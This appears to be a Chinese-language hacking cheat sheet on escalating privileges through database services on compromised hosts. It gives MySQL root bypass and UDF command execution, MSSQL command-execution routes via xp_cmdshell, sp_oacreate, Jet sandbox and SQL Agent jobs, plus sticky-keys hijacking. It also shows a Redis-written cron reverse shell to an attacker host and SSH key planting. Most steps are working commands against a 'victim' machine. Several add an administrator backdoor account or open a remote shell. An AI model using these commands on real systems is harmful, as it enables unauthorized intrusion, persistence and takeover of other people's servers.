数据库提权

内网提权方式的一种,通过利用目标主机web的数据库服务进行提权

目录

mysql提权

当网站禁用了命令执行相关的敏感函数,我们就可以考虑使用mysql来获取命令执行的权限

前提

1.window系统

2.已经上传webshell并有一定的读写权限

3.数据库的root权限

4.未对security_file_priv做限制,未对mysql文件夹做了不能写入限制

root权限获取

mysql/bin/my.ini末尾加入skip-grant-tables

跳过登陆验证

mysql/data/mysql/user.myd

查看密码 将两段哈希密码破解出来

在本地创建一个数据库,将user.MYD user.frm user.MYI下载并移动到数据库文件夹查看

必要时可以备份并覆盖原文件

获取到root之后执行

Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option

开启远程登陆

UDF提权

修改mysql配置文件

使下面查询结果为空

Show VARIABLES like “%SECURE%”;

查找系统版本

select @@version_compile_os, @@version_compile_machine;

查找udf.dll 动态链接库

移入MySQL/lib/plugin/,使用户自定义函数生效

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

查询用户自定义函数

select * from mysql.func;

使用下面的查询语句来执行命令

SELECT sys_eval('whoami')

sqlsever提权

sqlsever也叫mssql,是微软发行的数据管理系统,在其安装时默认使用system账户运行

通过xp_cmdshell提权

开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

使用xp_cmdshell执行命令

EXEC master.dbo.xp_cmdshell 'whoami';

关闭xp_cmdshell

EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

通过sp_oacreate提权

开启sp_oacreate

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;

使用sp_oacreate执行命令,结果写入c://1.txt

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

关闭sp_oacreate

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 0;   
RECONFIGURE WITH OVERRIDE;

通过沙盒提权

修改注册表开启沙盒

exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

利用沙盒执行添加用户命令

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user xxx  123456  /add")')

通过JOB提权

开启计划任务

exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

添加计划任务 x

use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'

添加管理员组的账户hack1

exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user hack1 hack1 /add &net localgroup administrators hack1 /add>c:/q.txt"'

启用计划任务

exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x'; 

利用映像劫持提权

修改注册表让粘滞键启动system权限的cmd窗口

exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' 

按下五次shift打开system命令行

Redis提权

前提

攻击机和受害机都具有redis服务

Redis反弹shell

关闭受害机SELinux

vim /etc/selinux/config

将SELINUX=enforcing改为SELINUX=disabled

允许受害机redis非本地登录

vim redis.conf

加上注释#bind 127.0.0.1

保护模式YES改为no

protected-mode no

防火墙开启6379端口

全局开放6379端口

firewall-cmd --add-port=6379/tcp --permanent

重载

firewall-cmd --reload

查看端口是否开放

firewall-cmd --query-port=6379/tcp --permanent

设置计划任务

set  xx   "\n* * * * * bash -i >& /dev/tcp/(攻击机ip)/(攻击机端口) 0>&1\n"

导入到计划任务

config set dir /var/spool/cron/

设置计划名称

config set dbfilename root

保存

save

攻击机监听自己端口

nc -lvp 6699

Redis密钥登录ssh

前提

受害机必须开启ssh

/root/下必须有.ssh文件夹

攻击机生成密钥公钥

ssh-keygen -t rsa
cd ./ssh

防止乱码 导出公钥key

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

利用redis导出内容至被攻击机

cat key.txt | redis-cli -h (受害机ip) --pass (受害机密码) -x set xxx

进入攻击机的redis页面

查看

get key

设置路径

config set dir /root/.ssh

设置自动连接

config set dbfilename authorized_keys   

保存

save

攻击机ssh远程连接受害机

ssh -i id_rsa (受害机账户)@(受害机ip)